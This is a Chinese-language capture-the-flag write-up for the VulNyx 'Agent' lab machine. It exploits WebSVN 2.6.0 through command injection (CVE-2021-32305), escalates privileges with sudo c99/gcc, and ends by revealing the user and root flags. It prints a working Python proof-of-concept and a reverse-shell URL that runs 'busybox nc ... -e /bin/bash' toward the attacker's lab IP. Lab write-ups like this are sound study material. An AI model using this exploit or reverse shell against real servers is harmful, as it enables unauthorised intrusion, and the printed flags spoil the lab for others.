vulnyx Agent writeup
信息收集
arp-scan

nmap

获取userFlag
发现只开了22、80,那还是先上web看一下

默认是一个nginx的欢迎页面,然后就是扫目录的,这里用 dirb 的话很容易就可以扫出来,但是用 dirsearch 就扫不出来了,因为dirsearch的默认字典dicc.txt里没有记录相应的目录

看到这个就可以停了,然后就可以上去看看了,不过我这里是又用dirsearch扫了一遍

先进/websvn里去看看

底部能够看到一个版本号:
websvn 2.6.0
然后我又在页面里能点的地方,能输入的地方都测试了一下,没有什么发现。之后的话就挨个去看了dirsearch扫出来的文件,在README.md中找到了项目地址:
WebSVN - Online subversion repository browser
进去后发现websvn的最新版是 2.8.5 的,而这里用的是2.6.0的,所以应该会又CVE漏洞,于是去搜了一下发现 websvn < 2.6.1 又一个命令注入的CVE,CVE-2021-32305。找到了如下poc:
import requests
import argparse
from urllib.parse import quote_plus
PAYLOAD = "要执行的命令"
REQUEST_PAYLOAD = '/search.php?search=";{};"'
parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")
args = parser.parse_args()
if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()
requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))
print("[*] Request send. Did you get what you wanted?")
通过看上述poc可以发现漏洞利用点是在search.php下的search查询参数这里,把2.6.0的源码下下来,然后定位到漏洞发生点:

这个$searchstring就是search查询参数的值,而这里果然是直接拼接的,同时我们也知道了poc里为什么要以 ";{};" 这种方式才能执行命令了,因为在拼接的时候$searchstring的内容最终是被""包裹了的。
之后的话就可以反弹shell了:
http://192.168.43.126/websvn/search.php?search=%22;busybox%20nc%20192.168.43.180%208888%20-e%20/bin/bash;%22
然后我们就可以拿到一个webshell

sudo -l 看一下

可以执行一个c99的命令

查看帮助文档后可以看到用法示例这里写着gcc,所以c99这个工具和gcc在功能和用法上应该几乎是相同的,去GTFobins上找gcc提权的方案

用同样的方式提权,把gcc换成c99

成功提权到了dustin用户,然后去家目录下就可以拿到userflag了
userflag:d31788f2e636e115b417e0a61c6b69e0
获取rootFlag
同样的 sudo -l

还是直接去gtfobins里查利用方案


然后去/root下就可以拿到rootflag了
rootflag: 51ff843faf1bc11c162e973cf852ffae

浙公网安备 33010602011771号